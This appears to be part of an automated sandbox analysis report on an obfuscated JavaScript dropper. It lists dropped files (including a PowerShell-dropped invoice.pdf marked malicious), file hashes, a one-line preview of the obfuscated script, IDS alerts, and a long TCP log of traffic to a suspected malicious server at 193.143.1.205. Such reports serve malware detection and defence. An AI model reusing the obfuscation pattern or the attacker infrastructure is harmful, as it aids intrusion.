Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8f78b3e2-ccc5-44d4-bce4-934aca7f282d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16728), with CRLF line terminators
Entropy (8bit):	4.911204086956008
TrID:
File name:	3254519122657813770.js
File size:	20'208 bytes
MD5:	c75bb41a692dc69caff2b4e9779d28ad
SHA1:	8553a0f6a4bac8efb3ce9b8459345756e54d7d7a
SHA256:	1b9b7195712f8c816641f0838fe37aafc39364ee25b72e02591709aefbd741d9
SHA512:	8db0720a37839f875b287db674e9001ecb4624e40185ea7d3e9124cc076058cfee2280c6742b438a9c404e20f3a054d38d41f621403c233c0b2fef6e40235c32
SSDEEP:	384:4CzUM9jKoXiI0QXFodt2ud2ucnXuLrB6Gach2JwEnTbuE3l8f3CK0mno+XtL6z6M:pUM9j50CFodt262PuLrQ3nTbuE3l1Ao7
TLSH:	B69213E2BD948F1715D987FBD2DB0042C7EE419EC580D21D8C8288AAD51B6B726E25FC
File Content Preview:	function iytjh(){qvoltgjw=[1031,3079,5127,4103,2055,3072];var rhatzbppt=this[yghhz+vokxvlmrt+clmogh+avvhchkjl+sdqbmflkk+cetexbp+pqgnjtq+hhpthp](this[hcxeyfiqu+zbaqfqkc+gzruthw+clmogh+okpxfcouq+yghhz+hhpthp][mlpuqkz+clmogh+sdqbmflkk+vokxvlmrt+hhpthp+sdqbmf

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T15:01:23.134809+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-10T15:01:25.679042+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:01:22.368315935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:22.373255014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:22.373387098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:22.375896931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:22.380755901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.134572983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.134593964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.134604931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.134615898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.134628057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.134639025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.134736061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.134747028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.134757996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.134768963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.134809017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.134809017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.134809017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.134952068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.139754057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.139808893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.140017986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.177366018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.177376986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.177550077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.252043962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.252064943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.252074957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.252130985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.252141953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.252162933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.252213001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.252454042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.252465010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.252496004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.252736092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.252748013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.252758980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.252768993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.252779007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.252793074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.252859116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.253554106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.253591061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.253602028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.253632069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.253699064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.253778934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.253778934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.254461050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.254472017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.254483938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.254528999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.254529953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.254528999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.254543066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.254654884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.305413961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.305428982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.305439949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.305988073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.338809013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.338901997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.369180918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.369201899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.369213104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.369395018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.369405031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.369465113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.369468927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.369468927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.369491100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.369504929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.369543076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.369543076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.369581938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.369596004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.369607925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.369640112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.370203972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.370215893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.370316982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.370335102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.370347977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.370353937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.370353937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.370408058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.370409966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.370449066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.370460987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.371047020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.371057034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.371068954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.371079922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.371098042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.371109962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.371115923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.371121883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.371129990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.371134996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.371170998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.371186018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.371190071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.371998072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.372009993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.372021914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.372040033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.372056961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.372068882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.372080088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.372087002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.372087002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.372106075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.372122049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.372157097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.372874975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.372888088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.372900009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.372976065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.372987986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.372998953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.373012066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.373023033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.373047113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.373047113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.373047113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.373085022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.392247915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.392267942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.392283916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.392333031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.392333031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.411892891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.411905050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.412004948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.425520897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.425534964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.425545931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.427330971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.456089020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.456101894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.459326029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.486551046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.486563921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.486573935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.486584902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.486627102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.486638069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.486830950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.486848116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.486913919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.486943960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.486953020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.486953020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.486953020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.486963034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.486975908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.486998081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.487020969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.487041950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487055063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487271070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.487276077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487287998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487299919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487328053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.487375021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487385988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487397909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487449884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487600088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.487600088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.487720966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487740040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487750053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487817049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487879992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487890005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487900019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.487911940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488019943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488020897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.488020897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.488020897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.488020897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.488039017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488050938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488061905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488078117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.488080978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488116026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.488116026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.488709927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488723040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488734007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488867044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488878965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488889933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488899946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488910913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488951921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488956928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.488956928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.488956928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.488956928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.488965034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488976955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488987923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.488998890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.489016056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.489027977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.489586115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.489623070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.489634991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.489655018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.489659071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.489732027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.489742994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.489753008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.489764929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.489787102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.489787102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.489808083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.489872932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.489885092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.489897013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.489907026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.489918947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.489943981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.489943981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.489970922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.490609884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.490622044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.490633011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.490654945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.490760088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.490772963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.490782976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.490792990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.490803957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.490807056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:01:23.490816116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.490842104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:01:23.490854025 CET	80	49705	193.143.1.205	192.168.2.8
